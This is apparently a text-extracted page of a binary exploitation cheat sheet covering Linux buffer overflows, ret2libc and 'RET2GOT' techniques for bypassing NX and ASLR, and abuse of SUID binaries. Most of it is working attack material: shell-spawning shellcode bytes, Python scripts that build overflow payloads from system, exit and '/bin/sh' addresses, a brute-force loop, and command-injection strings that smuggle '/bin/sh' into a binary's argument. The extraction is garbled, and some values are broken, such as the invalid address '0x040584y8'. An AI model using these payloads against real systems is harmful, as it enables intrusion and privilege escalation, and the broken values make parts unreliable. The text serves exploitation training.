You are on page 1of 22

A little bit of Basics

#Always use [struct] module from python to


evaluat expressions according to the little endian.
An example is below to evaluate [0x80002 0] in
little endian. This is becauase values are written
into memory in reverse byte order

python -c 'from struct import pack; pack("


<L",0x80002ff0)'
Output : \xf0\x2f\x00\x80

#Checking if the binary has protections

root@kali:checksec –file=[name]

if output shows NX is disabled then this means no


protections

#Check if ASLR is enabled on target machine

cat /proc/sys/kernel/randomize_va_space

0 : means ASLR Disabled.


1: means enabled.
2: means enabled.
#NX is a kind of protection where executing code
in the stack is prohibited.

#ASLR is a kind of protection that randomizes


memory addresses.

#Use [r.interactive()] at the end of every exploit


script you create incase you didn't receive a shell.
[r.interactive()] returns control in the terminal.

If you experience problems while you are trying to


catch the shell after exploiting bu er over ow
then it likely means rewall is preventing egress
connection from the target machine to yours.
Change your shell code payload to the one below

shellcode[]=
"\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48\x89\
xc6"
"\x31\xc9\x56\x5b\x6a\x3f\x58\xcd\x80\x41\
x80"
"\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x31\
xf6"
"\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\
x6e"
"\x89\xe3\x31\xc9\xcd\x80";
Source [https://www.exploit-
db.com/exploits/34060]

Exploiting Buffer ovewflow when


NX is enabled usin ret2libc
#Start the binary with gdb

Gdb -q ./[name]

#Viewing the main code

Gdb-peda$:pdisass main

#Generating a pattern

Gdb-peda$:Pattern_create 500

#Next Run the pattern against the binary to see


how many bytes required to overwrite the EIP

r '[pattern]'

OR

Gdb-peda$:run ‘pattern’
#After that, when you hit a segmantation fault
take a note of the [EIP]. We will assume it's
[0x41384142].

#Next we nd after how many bytes the


application breaks hence we need to nd the o set

pattern_offset 0x41384142

Take a note of the o set you found. Say it's [110] it


means the application breaks after [110] bytes.

#In order to get a shell, we need to nd couple


addresses such as [system] and [/bin/sh] in
addition to [exit]

Gdb-peda$:p system

#Take note of the address. Say it's at


[0xb759c320]
For [/bin/sh] we add random data to system to
reveal its address

find 0xb759c320, +9939401, "/bin/sh"

#Take a note of the address in output. Say it's


[0x76beb9e]
You can verify its indeed for [/bin/sh] by running
below command in gdb

x/s 0x76beb9e

Alternative way to nd the address of [/bin/sh]


On the target vulnerable machine, we store
[/bin/sh] in an environment variable called
[shellcode]

export shellcode=/bin/sh
echo shellcode

And then with a simple C program below we can


nd the address

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv)
{
char *ptr = getenv("shellcode");
if (ptr != NULL)
{
printf("/bin/sh address:
%p\n", ptr);
return 0;
}
}

Compile the code

gcc address-finder.c address-finder

And run

./address-finder

It should give you the address.

Another Alternative way to nd the address of


[/bin/sh]
On the target machine, we nd the o set of
[/bin/sh] in [libc] using the string command.

strings -a -t x /lib/i386-linux-
gnu/libc.so.6 | grep /bin/sh

Say the o set is [0x0015ba2a]


Next you need the address of [libc] which you can
get by running [ldd] against the binary

ldd [binary-name]
Say it's [0xb7e12000] then the nal [/bin/sh]
address is
libc address + o set of [/bin/sh]
**0xb7e12000+x0015ba2a = 0xb7d72a2a

#For the [exit] address, we can nd it same as we


did for [system].

Gdb-peda$:p exit

Say it's [0xb758f234]

#Lastly , we create a small script that contains all


those values and send it in little endian format

while true;

do /usr/local/bin/ovrflw $(python -c
'print "A" * [offset]+ "System + Exit +
/bin/sh" ');

done

Another way of creating the script using [struct]

import struct
buf = "A" * 80
system = struct.pack("I" ,0xb759c320)
exit = struct.pack("I" ,0xb758f234)
shell = struct.pack("I" ,0x76beb9e)

print buff + system + exit + shell

Run the script and pipe the output to the


vulnerable program.
Note: if you get an error such as

sh: 6: not found

This means that the address of [/bin/sh] is not


exact and you need to go up and down with the
address. For example, the address we have in this
scenario is [0x76beb9e] all you have to do is to add
increments or decrements to the address untill
you get the right one.
Side Note
In the above method, sometimes you may need to
nd the address of [execl] instead of [system]. The
reasons is sometimes you run out of virtual
memory which makes the exploit fails. In that case
use [execl] instead.
Exploiting without ASLR and
binary protections.
With gdb+peda

#Start the binary with gdb

Gdb -q ./[name]

#Viewing the main code

Gdb-peda$:pdisass main

#Generating a pattern

Gdb-peda$:Pattern_create 500

#Running the pattern against the binary

Gdb-peda$:run ‘pattern’

OR you can generate the pattern with python if


you don't have [peda]

(gdb) run $(python -c 'print "A"*500')

OR You can again generate a pattern with [MSF]


/usr/share/metasploit-
framework/tools/exploit/pattern_create.rb
-l 500

#Note down the value at the EIP and feed it to


pattern_o set to nd the o set

Gdb-peda$:pattern_offset [value]

Alternatively, you can nd the o set with [MSF]

/usr/share/metasploit-
framework/tools/exploit/pattern_create.rb
-l 500 -q [value-at-EIP]

#In this step, we use a shellcode that spawns


[/bin/sh] and send it to the program as part of the
script below.
We also use [nop] which let the cpu do nothing to
prevent the execution from failing.
The purpose of the script below is to send our
shellcode and write 4 [Bs] in order to understand
and nd where will be the address of our
shellcode.
buf_size=[offset-found-from-above]
shell_code =
"\x31\xc0\x50\x68\x2f\x2f\x73"
shell_code +=
"\x68\x68\x2f\x62\x69\x6e\x89"
shell_code +=
"\xe3\x89\xc1\x89\xc2\xb0\x0b"
shell_code +=
"\xcd\x80\x31\xc0\x40\xcd\x80";
nop_sled = "\x90"*(buf_size-
len(shell_code))
eip = "B" * 4
payload = nop_sled + shell_code + eip
print payload

Gdb-peda$:run $(python shell.py)

Gdb-peda$: x/500x $esp-500 : examining the


esp

#Here we look where our [shellcode] starts in


memory. To make things easier, look where is the
last occurenace of [x90] and mark the
corresponding memory address. It will be the
address of your [shellcode]. But to make this work,
we can pick up any address in the mids of [x90].
Say it's [0xb 550]
Updating the script:

buf_size=[offset-found-from-above]
shell_code =
"\x31\xc0\x50\x68\x2f\x2f\x73"
shell_code +=
"\x68\x68\x2f\x62\x69\x6e\x89"
shell_code +=
"\xe3\x89\xc1\x89\xc2\xb0\x0b"
shell_code +=
"\xcd\x80\x31\xc0\x40\xcd\x80";
nop_sled = "\x90"*(buf_size-
len(shell_code))

eip = "\xb0\xf7\xff\xbf" #0xbffff550


payload = nop_sled + shell_code + eip
print payload

Gdb-peda$:run $(python shell.py)

And wait for the shell.

Using pwndbg to exploit BOF


#Installation

git clone https://github.com/pwndbg/pwndbg


cd pwndbg
./setup.sh

#Now when you run gdb it will be poped there by


default.
A typical scenario is when you have a binary say it
was [bof]
First we run it with [gdb]

gdb bof

#Assuming the binary crashes if we provide


input more than [30] characters, we can generate a
cyclic input of [50] characters to crash the
application

r < <(cyclic 50)

#Take a note of the address of [EIP]. Say it crashed


at [0x6161616b].
The next step is to nd how many characters are
needed before we overwrite the [EIP]. This
corresponds with nding the o set if you are
using [gdb] alone or with [peda].

cyclic -l 0x6161616b

#Assume the number of characters in the output


was [45]. This means after [45] characters we can
write our own payload and make EIP execute it.
Now from here you can either pick-up a shell code
that spawns a shell

"\x31\xc0\x31\xdb\xb0\x06\xcd\x80"
"\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\
xb9\x12\x27\xb0\x05\xcd\x80"
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\
x53\x89\xe1\x99\xb0\x0b\xcd\x80"

#And if you want to use it inside a script, then


use below

shell_code =
"\x31\xc0\x50\x68\x2f\x2f\x73"
shell_code +=
"\x68\x68\x2f\x62\x69\x6e\x89"
shell_code +=
"\xe3\x89\xc1\x89\xc2\xb0\x0b"
shell_code +=
"\xcd\x80\x31\xc0\x40\xcd\x80";

#then you can send a payload constituting of


[nop] + [shellcode] + [address of the eip where its
overwritten with your pattern (As) or (Bs)]. See
examples from the previous sections.

#OR you can change the execution ow of the


program to another function. Say the binary you
are exploiting has a function that let you spawn a
shell. Call the function [shell].
By nding the address of the function, you can add
it to a pattern and change the exection.
Finding the address of the [shell] function.

gdb: dissassemble shell

This will give you an assembly code of the


function. Pick the rst address. Assume it's
[0x080484cd].
Then your nal payload is

payload = pattern + 0x080484cd


example:
payload = python -c 'print "B"*45 +
"\xcd\x84\x04\x08"'

Send this payload to the binary by piping the its


output to the binary

python -c 'print "B"*45 +


"\xcd\x84\x04\x08"' | BOF

After this, the binary will execute whatever the


[shell] function was supposed to do hence you
changed program execution using Bu erOver ow.

Using BOF to control global


variables in a program
This is a case where you have the source code of a
program. The program has variables de ned with
di erent values and they are involved in a process
to perform a speci c function such as
authentication or input validation.
There will be times where in order to gain shell,
you have rst to bypass the progam mechanism of
working such as a required authentication or input
validation.
Here it comes the importance of controlling
registers such as [EBX], [EAX] and [ECX].
In some cases and spe cially when [NX] and [PIE]
are enabled, these registers are used to referrence
global variables. So by controlling these registers
using an over ow you can control the value of the
global variables used for the authentication or
input validation function.

RET2GOT BOF when NX and ASLR


protections are enabled. [ldd]
To perform the RET2GOT technique, we have the
nd couple addresses. The below commands are to
be issued on the compromised machine

Find libc address

ldd [path to bof binary]

Find libc system function:

readelf -s /lib32/libc.so.6 | grep system

Find libc exit function

readelf -s /lib32/libc.so.6 | grep exit


Find libc /bin/sh reference

strings -a -t x /lib32/libc.so.6 | grep


/bin/sh

Then we can use a script like below and execute on


the target machine

import struct, subprocess


libc = 0xf75e2000
sysOffset = 0x0003a940
sysAddress = libc + sysOffset
exitOffset = 0x0002e7b0
exitAddress = libc + exitOffset
binsh = libc + 0x0015900b

bofshell = "A" * 512


bofshell += struct.pack("<I",sysAddress)
bofshell += struct.pack("<I",exitAddress)
bofshell += struct.pack("<I",binsh)

trials = 0
while True:
trials += 1
print "Trying: " + trials
subprocess.call(["[path-to-binary]","-i",
"3de811f4ab2b7543eaf45df611c2dd2541a5fc5af
601772638b81dce6852d110", bofshell])

RET2GOT BOF when NX and ASLR


protections are enabled. Radar2
We follow the same methodology as above but
using radar2 we can nd the addresses of [system]
[exit] and [/bin/sh]

aa
fs imports; f
fs strings; f

If you couldn't nd the address of [/bin/sh] using


[radar2] then you can issue the below command on
the target machine

strings -a -t x /lib32/libc.so.6 | grep


/bin/sh

Lastly your payload is a oneliner. Make sure to


know how many bytes are needed to cause
segmentation fault. In the below example it's
[600].
Also my values were

system address = 0x040584y8


exit address =0x090287b0
/bin/sh = 0x010293d4
The nal payload:

$(python2 -c
'print("A"*600+"\xy8\x84\x05\x04"+"\xb0\x8
7\x02\x09"+"\xd4\x93\x02\x01")')

You can pass it as an argument to the binary.

Exploiting binaries that have SUID


bit [s]
First we check if the binary is listed in the below
website

https://gtfobins.github.io/

If it's not then we can follow the below checklist

Checking system calls


we use [ltrace] to checkout the libraries and system
calls in the applications. This reveals insights on
how the application using passing its arguments
and how system calls are being made. Sometimes
hardcoded credentials can be found.

ltrace [path-to-binary]

Use radar2 and print a visual


represntation of the code
cases
case [1] The binary passes one of its
arguments to [system]

In this case, command injection is highly possible.


We try to pass system commands in place of the
argument being passed to [system()]. For example,
a binary that performs backup and passes the
argument,thattakes in the source directory, to
system(). #EX

./backup [path-to-directory]

We can execute sys commands in the argument as


below. This will give and call [/bin/sh]
./backup "$(printf '\n/bin/sh\necho OK')"

[OR]

./backup $'\n /bin/sh \n echo OK'

[OR]

./backup "bash #"

Resources
Shellcodes database

http://shell-storm.org/shellcode/

Ready /bin/sh Shellcode

https://www.exploit-db.com/exploits/13357

You might also like